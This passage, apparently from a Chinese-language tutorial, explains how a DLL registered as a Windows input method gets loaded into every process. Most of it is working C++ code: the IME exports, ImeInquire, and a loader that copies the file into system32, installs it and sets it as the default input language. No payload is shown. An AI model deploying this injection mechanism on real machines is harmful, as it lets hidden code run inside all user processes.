输入法的Ime文件其实就是个显式导出19个特殊函数的DLL文件。如下图所示:
ImeConversionList //将字符串或字符转换成目标字串 ImeConfigure //配置当前ime参数函数 ImeDestroy //退出当前使用的IME ImeEscape //应用软件访问输入法的接口函数 ImeInquire //启动并初始化当前ime输入法 ImeProcessKey //ime输入键盘事件管理函数 ImeSelect //启动当前的ime输入法 ImeSetActiveContext //设置当前的输入处于活动状态 ImeSetCompositionString //由应用程序设置输入法编码 ImeToAsciiEx //将输入的键盘事件转换为汉字编码事件 NotifyIME //ime事件管理函数 ImeRegisterWord //向输入法字典注册字符串 ImeUnregisterWord //删除被注册的字符串 ImeGetRegisterWordStyle ImeEnumRegisterWord UIWndProc //用户界面接口函数 StatusWndProc //状态窗口注册函数 CompWndProc //输入编码窗口注册函数 CandWndProc //选择汉字窗口注册函数
如果想编写输入法程序,那么这19个导出函数都需要仔细的研究,但是对于只想实现注入的我们,现在只需要对ImeInquire()有比较深的认识就可以了。ImeInquire()是启动并初始化当前Ime输入法函数,他的声明如下:
//启动并初始化当前ime输入法 BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption) { //输入法初始化过程 //系统根据它为INPUTCONTEXT.hPrivate分配空间 lpIMEInfo->dwPrivateDataSize = 0; lpIMEInfo->fdwProperty = IME_PROP_KBD_CHAR_FIRST | IME_PROP_IGNORE_UPKEYS | IME_PROP_END_UNLOAD; lpIMEInfo->fdwConversionCaps = IME_CMODE_FULLSHAPE | IME_CMODE_NATIVE; lpIMEInfo->fdwSentenceCaps = IME_SMODE_NONE; lpIMEInfo->fdwUICaps = UI_CAP_2700; lpIMEInfo->fdwSCSCaps = 0; lpIMEInfo->fdwSelectCaps = SELECT_CAP_CONVERSION; // 注意该输入法基本窗口类必须注册,否则输入法不能正常运行 _tcscpy(lpszUIClass,CLSNAME_UI); return TRUE; }
BOOL ImeClass_Register(HINSTANCE hInstance) { WNDCLASSEX wc; wc.cbSize = sizeof(WNDCLASSEX); wc.style = CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_IME; wc.lpfnWndProc = UIWndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 2 * sizeof(LONG); wc.hInstance = hInstance; wc.hCursor = LoadCursor( NULL, IDC_ARROW ); wc.hIcon = NULL; wc.lpszMenuName = (LPTSTR)NULL; wc.lpszClassName = CLSNAME_UI; wc.hbrBackground = NULL; wc.hIconSm = NULL; if( !RegisterClassEx( (LPWNDCLASSEX)&wc ) ) return FALSE; return TRUE; }
PS: 编写DLL时需要注意,当作IME文件的Dll需要有版本信息,Version资源中FILETYPE为VFT_DRV, FILESUBTYPE为VFT2_DRV_INPUTMETHOD,否则调用ImmInstallIME安装时会失败
2.编写装载输入法程序:
装载输入法的基本逻辑就是将他们编写的输入法设置为默认输入法,这样只要系统中所有进程都会默认加载他们的恶意输入法程序。
黑客们首先需要得到系统当前的默认的输入法,以便恢复时使用。然后需要将ime文件拷贝到C:\WINDOWS\system32目录下,最后将装载成功后将我们的输入法设置成为默认输入法,主要代码如下:
void CMfcImeInjectDlg::OnBnClickedAttach() { // TODO: 在此添加控件通知处理程序代码 //得到默认的输入法句柄并保存 ::SystemParametersInfo( SPI_GETDEFAULTINPUTLANG, 0, &m_retV, 0); //拷贝到system目录,只有ime文件在system32下才能装载成功 CopyFile( _T("D:\\MyDll\\ImeInject\\Debug\\MyImeDll.ime"), _T("C:\\WINDOWS\\system32\\MyImeDll.ime"), FALSE); //装载输入法 m_hImeFile = ImmInstallIME( _T("MyImeDll.ime"), _T("我的输入法")); if( ImmIsIME(m_hImeFile) ) { //设置为默认输入法 SystemParametersInfo( SPI_SETDEFAULTINPUTLANG, 0, &m_hImeFile, SPIF_SENDWININICHANGE); MessageBox(_T("安装输入法成功")); } }
void CMfcImeInjectDlg::OnBnClickedDettach() { // TODO: 在此添加控件通知处理程序代码 ::SystemParametersInfo( SPI_SETDEFAULTINPUTLANG, 0, &m_retV, SPIF_SENDWININICHANGE); if (UnloadKeyboardLayout(m_hImeFile)) { MessageBox(_T("输入法卸载成功")); } }